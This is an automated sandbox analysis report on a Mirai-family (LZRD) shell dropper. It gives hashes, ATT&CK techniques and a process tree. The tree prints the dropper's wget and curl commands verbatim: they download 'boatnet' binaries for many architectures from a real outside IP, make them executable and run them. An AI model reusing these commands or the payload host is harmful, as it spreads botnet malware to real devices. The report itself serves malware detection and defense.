mirai | 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c

Analysis

max time kernel
148s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30-12-2024 16:43

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General

Target

ohshit.sh
Size

2KB
MD5

7e24e03c8d6c1bafbc85a32aa065853f
SHA1

1399f7b9e79afa7fb910eb61f8e7d10b36c64310
SHA256

938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c
SHA512

0975c2aaae90e309467a37d38bdb48790c56c7efdfe9ad82a69c93d8cd2d25f4eee4e741222b1d455e04913e69380d52f81efe6c1b025e9ef1fd872a0fcac521

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1592	chmod
1536	chmod
1552	chmod
1578	chmod
1604	chmod
1648	chmod
1504	chmod
1512	chmod
1568	chmod
1544	chmod
1560	chmod
1624	chmod
1640	chmod
1520	chmod
1528	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1505	WTF
/tmp/WTF	1513	WTF
/tmp/WTF	1521	WTF
/tmp/WTF	1529	WTF
/tmp/WTF	1537	WTF
/tmp/WTF	1545	WTF
/tmp/WTF	1553	WTF
/tmp/WTF	1561	WTF
/tmp/WTF	1569	WTF
/tmp/WTF	1579	WTF
/tmp/WTF	1593	WTF
/tmp/WTF	1605	WTF
/tmp/WTF	1625	WTF
/tmp/WTF	1641	WTF
/tmp/WTF	1649	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/515/cmdline	WTF
File opened for reading	/proc/893/cmdline	WTF
File opened for reading	/proc/515/cmdline	WTF
File opened for reading	/proc/1522/cmdline	WTF
File opened for reading	/proc/1652/cmdline	WTF
File opened for reading	/proc/1532/cmdline	WTF
File opened for reading	/proc/1524/cmdline	WTF
File opened for reading	/proc/661/cmdline	WTF
File opened for reading	/proc/1626/cmdline	WTF
File opened for reading	/proc/1466/cmdline	WTF
File opened for reading	/proc/1524/cmdline	WTF
File opened for reading	/proc/1060/cmdline	WTF
File opened for reading	/proc/1073/cmdline	WTF
File opened for reading	/proc/1155/cmdline	WTF
File opened for reading	/proc/486/cmdline	WTF
File opened for reading	/proc/1077/cmdline	WTF
File opened for reading	/proc/953/cmdline	WTF
File opened for reading	/proc/429/cmdline	WTF
File opened for reading	/proc/1466/cmdline	WTF
File opened for reading	/proc/449/cmdline	WTF
File opened for reading	/proc/494/cmdline	WTF
File opened for reading	/proc/1026/cmdline	WTF
File opened for reading	/proc/514/cmdline	WTF
File opened for reading	/proc/1060/cmdline	WTF
File opened for reading	/proc/1176/cmdline	WTF
File opened for reading	/proc/1276/cmdline	WTF
File opened for reading	/proc/1292/cmdline	WTF
File opened for reading	/proc/661/cmdline	WTF
File opened for reading	/proc/1508/cmdline	WTF
File opened for reading	/proc/1122/cmdline	WTF
File opened for reading	/proc/944/cmdline	WTF
File opened for reading	/proc/1642/cmdline	WTF
File opened for reading	/proc/1532/cmdline	WTF
File opened for reading	/proc/452/cmdline	WTF
File opened for reading	/proc/635/cmdline	WTF
File opened for reading	/proc/1176/cmdline	WTF
File opened for reading	/proc/1516/cmdline	WTF
File opened for reading	/proc/1494/cmdline	WTF
File opened for reading	/proc/568/cmdline	WTF
File opened for reading	/proc/449/cmdline	WTF
File opened for reading	/proc/1522/cmdline	WTF
File opened for reading	/proc/552/cmdline	WTF
File opened for reading	/proc/1302/cmdline	WTF
File opened for reading	/proc/1096/cmdline	WTF
File opened for reading	/proc/1492/cmdline	WTF
File opened for reading	/proc/1250/cmdline	WTF
File opened for reading	/proc/675/cmdline	WTF
File opened for reading	/proc/534/cmdline	WTF
File opened for reading	/proc/1508/cmdline	WTF
File opened for reading	/proc/1343/cmdline	WTF
File opened for reading	/proc/1606/cmdline	WTF
File opened for reading	/proc/488/cmdline	WTF
File opened for reading	/proc/1582/cmdline	WTF
File opened for reading	/proc/702/cmdline	WTF
File opened for reading	/proc/449/cmdline	WTF
File opened for reading	/proc/1177/cmdline	WTF
File opened for reading	/proc/1248/cmdline	WTF
File opened for reading	/proc/1122/cmdline	WTF
File opened for reading	/proc/493/cmdline	WTF
File opened for reading	/proc/603/cmdline	WTF
File opened for reading	/proc/1532/cmdline	WTF
File opened for reading	/proc/1250/cmdline	WTF
File opened for reading	/proc/514/cmdline	WTF
File opened for reading	/proc/1540/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1509	wget
1510	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.arm6	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1497
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1498
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1503
- /bin/chmod
  chmod +x boatnet.x86 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1505
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1509
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1510
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1513
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1517
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1521
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.i468
  2⤵
  PID:1525
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1529
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.i686
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1537
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.x86_64
  2⤵
  PID:1541
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1545
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1553
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1557
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1561
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1565
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1569
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1573
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1574
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1579
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1583
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1593
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1597
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1602
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-4xBvsT systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1604
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1605
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1609
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1616
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-6k7Luj systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1624
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1625
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1629
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1632
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1640
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1641
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1645
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1646
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-JIrr5e netplan_07qkaxg7 ohshit.sh snap-private-tmp ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-azSggh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1648
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1649

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
28KB

MD5
d2610e796559edd586be4f3cfea659da

SHA1
67ac4e25ed9856b839f2b11c32e758766a140e23

SHA256
75754fcc1c6ecbdee1bc04eb2e4a986d6fb12a63e8a6b663a012ff41b031aef6

SHA512
910228016a57f6c76fcf29e7bd0a4d79a6772cda30489b99d9a10b92a00f56fc6829b35460ee09bc99c9fa7dc9607763dd01f39c0730c9975988c595c58bdf7a

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